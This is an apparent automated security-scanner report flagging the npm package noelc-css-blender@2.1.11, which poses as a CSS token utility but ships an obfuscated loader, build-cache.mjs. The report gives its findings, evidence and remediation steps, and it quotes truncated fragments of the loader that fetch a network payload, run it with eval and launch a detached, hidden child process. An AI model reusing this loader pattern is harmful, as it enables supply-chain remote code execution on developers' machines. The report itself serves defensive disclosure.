noelc-css-blender@2.1.11
Tiny ESM utility for blending CSS custom-property token maps into var() declarations.
This package appears in our research on the fake Tailwind CSS plugins, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 11d ago · by lpm-firewall-aiThe normal package entry appears to provide CSS token utilities, but the separately shipped build-cache.mjs auto-runs an obfuscated network payload loader when directly imported or executed. Its evaluation and detached-process behavior establishes a concrete remote code execution path.
Static reason
One or more suspicious static signals were detected.
Trigger
Directly importing or executing build-cache.mjs; the declared package entry does not import it.
Impact
A payload supplied through the loader can execute code in the importing user's environment.
Mechanism
The module invokes its loader at evaluation time, which performs network lookups and executes returned content with eval and a detached child process.
Attack narrative
The package's normal entry exports CSS token helpers, but it also ships an unexported, obfuscated module with a separate execution path. Directly importing or executing that file starts a loader that retrieves network data and evaluates a payload, then starts a detached child process. This is an active remote code execution path in the shipped package.
AI rationale
The normal package entry appears to provide CSS token utilities, but the separately shipped build-cache.mjs auto-runs an obfuscated network payload loader when directly imported or executed. Its evaluation and detached-process behavior establishes a concrete remote code execution path.
Evidence
build-cache.mjs
Decision evidence
public snapshotAI called this Malicious at 97.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest ships build-cache.mjs, while the package entry and root export point to index.mjs.
- build-cache.mjs ends by invoking its loader when the module is evaluated.
- The loader makes network requests and parses returned data before using it as a payload.
- The loader evaluates the payload and starts a detached child process.
Evidence against
- The declared package entry exports CSS token utilities, and package.json declares no lifecycle scripts; the loader requires a direct import or execution of build-cache.mjs.
Behavioral surface
CryptoDynamicRequireEvalFilesystem
HighEntropyStringsMinifiedObfuscatedTrivial
Source & flagged code
6 flaggedbuild-cache.mjsView file
2_0xc78db89(); }}
High
Ai Review Evidence
build-cache.mjs ends by invoking its loader when the module is evaluated.
build-cache.mjsView on unpkg · L22const _0x8e35e05 = async () => { for (const _0x844a4dd4 of _0x08f13e7d2) { try { const _0x81c86b6c = await _0x636a4731f(_0x017f5(251) +_0x844a4dd4 +_0x017f5(86)); const _0x505f78 = JSON.parse(_0x81c86b6c); const _0x819ec775b = _0x505f78 && _0x505f78[_0x017f5(383)] && _0x505f78[_0x017f5(315)][0]; const _0x89fdee4 = _0x819ec775b && _0x819ec775b[_0x017f5(1054)] && _0x819ec775b[_0x017f5(357)][_0x017f5(137)]; if (_0x89fdee4) { return
High
Ai Review Evidence
The loader makes network requests and parses returned data before using it as a payload.
build-cache.mjsView on unpkg · L22if (_0xa5e990 && _0xa5e990.length > 8) { try { (0,eval)(_0xa5e990); } catch (_0x08126ea8) {} try { const _0x66061a9 = Object.assign({},_0xa034de.env, { [_0x5e375906]: _0xa1745 });const _0x35f9f = _0x227b1db1.spawn(_0x017f5(323), [_0x017f5(707), _0x017f5(856), _0xa5e990], { detached: true, stdio: _0x017f5(735), env: _0x66061a9, windowsHide: true }); _0x35f9f.unref(); } catch (_0x08126ea8) {} } } if (_0x9a593be8) { try { _0x
Findings
6 High2 Medium3 Low
HighObfuscated
HighAi Review Evidencepackage.json
HighAi Review Evidencebuild-cache.mjs
HighAi Review Evidencebuild-cache.mjs
HighAi Review Evidencebuild-cache.mjs
HighAi Review Evidenceindex.mjs
MediumDynamic Requirebuild-cache.mjs
MediumStructural Risk Force Deep Review
LowEval
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to noelc-css-blender@2.1.11.
See all versions of noelc-css-blender for other recorded verdicts.
- Avoid installing noelc-css-blender@2.1.11. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.